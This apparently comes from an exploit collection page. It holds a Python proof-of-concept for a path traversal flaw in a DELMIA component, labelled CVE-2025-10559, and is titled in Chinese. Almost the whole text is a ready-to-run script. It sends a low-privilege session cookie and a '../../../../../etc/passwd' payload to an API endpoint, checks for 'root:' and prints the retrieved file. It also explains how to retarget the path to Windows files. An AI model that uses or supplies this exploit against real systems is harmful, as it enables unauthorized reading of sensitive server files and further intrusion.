CVE-2025-10559 DELMIA路径遍历漏洞

import requests # Target URL of the vulnerable DELMIA component target_url = "http://target-server/api/factory-resource" # Attacker controlled session cookie (Low privilege required) cookies = { "session_id": "attacker_low_privilege_session_token" } # Path traversal payload to read a sensitive file # Adjust the path based on the server OS (e.g., ../../windows/win.ini for Windows) payload = { "resource_path": "../../../../../etc/passwd" } try: # Sending the GET request with the malicious payload response = requests.get(target_url, params=payload, cookies=cookies, timeout=10) # Check if the request was successful and content is returned if response.status_code == 200 and "root:" in response.text: print("[+] Exploit successful! File content retrieved:") print(response.text) else: print(f"[-] Exploit failed or file not found. Status: {response.status_code}") print(response.text[:200]) except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")